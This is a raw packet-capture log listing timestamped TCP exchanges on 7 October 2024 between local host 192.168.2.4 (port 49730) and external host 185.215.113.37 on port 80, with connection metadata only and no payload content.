Oct 7, 2024 21:19:18.833441973 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:18.833451986 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:18.833487988 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:18.833499908 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:18.833524942 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:18.833537102 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:18.833573103 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:18.842350960 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:18.842382908 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:18.842406988 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:18.842417955 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:18.842433929 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:18.842467070 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:18.842580080 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:18.842632055 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:18.851470947 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:18.851504087 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:18.851521969 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:18.851537943 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:18.851546049 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:18.851586103 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:18.861485004 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:18.861541033 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:18.861582041 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:18.861617088 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:18.861638069 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:18.861665010 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:18.876940966 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:18.876996994 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:18.876997948 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:18.877033949 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:18.877048969 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:18.877080917 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:18.877127886 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:18.877162933 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:18.877178907 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:18.877197981 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:18.877208948 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:18.877233982 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:18.877250910 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:18.877264977 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:18.877284050 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:18.877298117 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:18.877310991 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:18.877331972 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:18.877345085 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:18.877366066 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:18.877374887 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:18.877413034 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:18.888891935 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:18.888947010 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:18.888955116 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:18.888986111 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:18.888999939 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:18.889033079 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:18.911797047 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:18.911870956 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:18.911897898 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:18.911909103 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:18.911930084 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:18.911946058 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:18.911957026 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:18.911983013 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:18.911992073 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:18.912029982 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:18.912038088 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:18.912139893 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:18.912147999 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:18.912183046 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:18.912199020 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:18.912216902 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:18.912229061 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:18.912262917 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:18.912270069 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:18.912306070 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:18.912328005 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:18.912338018 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:18.912353992 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:18.912373066 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:18.912386894 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:18.912406921 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:18.912420988 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:18.912441969 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:18.912453890 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:18.912477016 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:18.912487984 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:18.912523985 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:18.912527084 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:18.912574053 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:18.918001890 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:18.918032885 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:18.918164968 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:18.934518099 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:18.934546947 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:18.934597015 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:18.934626102 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:18.934632063 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:18.934652090 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:18.934652090 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:18.934684992 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:18.953881979 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:18.953936100 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:18.953973055 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:18.954092026 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:18.954092026 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:18.954092026 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:18.957427979 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:18.957496881 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:18.957532883 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:18.957564116 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:18.957587004 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:18.957608938 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:18.966299057 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:18.966334105 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:18.966363907 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:18.966424942 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:18.966444016 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:18.966469049 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:18.975843906 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:18.975873947 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:18.975904942 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:18.975908041 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:18.975919962 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:18.975944042 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:18.975955009 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:18.975991964 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:18.985924959 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:18.985959053 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:18.985992908 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:18.985994101 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:18.986011028 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:18.986040115 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:18.996236086 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:18.996265888 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:18.996325016 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:18.996344090 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:19.001157045 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.001210928 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.001220942 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:19.001245022 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.001332045 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.001363039 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.001398087 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.001429081 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:19.001429081 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:19.001429081 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:19.001429081 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:19.001447916 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:19.001455069 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.001490116 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.001502037 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:19.001523972 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.001539946 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:19.001560926 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.001571894 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:19.001609087 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:19.012469053 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.012499094 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.012536049 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.012548923 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.012711048 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:19.037430048 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.037482977 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.037539959 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:19.037539959 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:19.037549019 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.037584066 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.037600994 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:19.037630081 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:19.037636995 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.037684917 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:19.037691116 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.037724972 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.037739992 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:19.037760019 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.037770987 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:19.037794113 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.037806034 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:19.037828922 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.037839890 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:19.037866116 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.037877083 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:19.037913084 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:19.037974119 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.038006067 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.038022995 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:19.038054943 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:19.038058996 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.038090944 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.038108110 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:19.038125992 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.038137913 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:19.038160086 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.038173914 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:19.038206100 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:19.038902044 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.039073944 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:19.059226990 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.059279919 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.059313059 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:19.059317112 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.059370995 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:19.059370995 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:19.077460051 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.077495098 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.077528954 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.077663898 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:19.077663898 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:19.081569910 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.081625938 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.081641912 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:19.081655025 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.081677914 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:19.081701994 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:19.091166019 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.091203928 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.091238976 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.091238976 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:19.091264963 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:19.091295958 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:19.101157904 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.101192951 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.101224899 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.101232052 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:19.101402044 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:19.101402044 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:19.110986948 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.111021996 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.111053944 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.111056089 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:19.111079931 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:19.111103058 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:19.125914097 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.125952959 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.125987053 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:19.126000881 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:19.126007080 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.126040936 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.126075029 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.126077890 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:19.126101971 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:19.126108885 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.126126051 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:19.126163006 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.126171112 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:19.126194000 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.126211882 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:19.126226902 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.126241922 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:19.126276016 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:19.126280069 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.126315117 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.126332045 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:19.126348972 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.126360893 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:19.126383066 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.126394987 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:19.126427889 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:19.143990040 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.144082069 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.144109011 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:19.144134045 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:19.161945105 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.162020922 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.162031889 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:19.162061930 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.162075043 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:19.162111998 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:19.162116051 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.162151098 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.162159920 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:19.162185907 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.162199020 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:19.162235022 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:19.162241936 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.162276983 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.162288904 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:19.162312984 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.162322998 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:19.162348032 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.162359953 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:19.162395000 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:19.162404060 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.162441015 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.162451029 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:19.162477016 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.162487984 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:19.162509918 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.162522078 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:19.162545919 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.162554979 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:19.162580013 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.162594080 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:19.162616014 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.162630081 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:19.162657976 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.162664890 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:19.162703037 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:19.183900118 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.183938026 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.183970928 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.183971882 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:19.183988094 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:19.184025049 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:19.202270985 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.202325106 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.202352047 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:19.202361107 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.202374935 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:19.202395916 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.202413082 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:19.202434063 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.202449083 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:19.202483892 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:19.207690954 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.207803965 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.207825899 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:19.207833052 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.207851887 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:19.207879066 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:19.217001915 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.217063904 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:19.217082977 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.217122078 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.217140913 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:19.217169046 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:19.218195915 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.218305111 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:19.227483988 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.227551937 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:19.229568005 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:19.229635000 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:19.270970106 CEST	49730	80	192.168.2.4	185.215.113.37
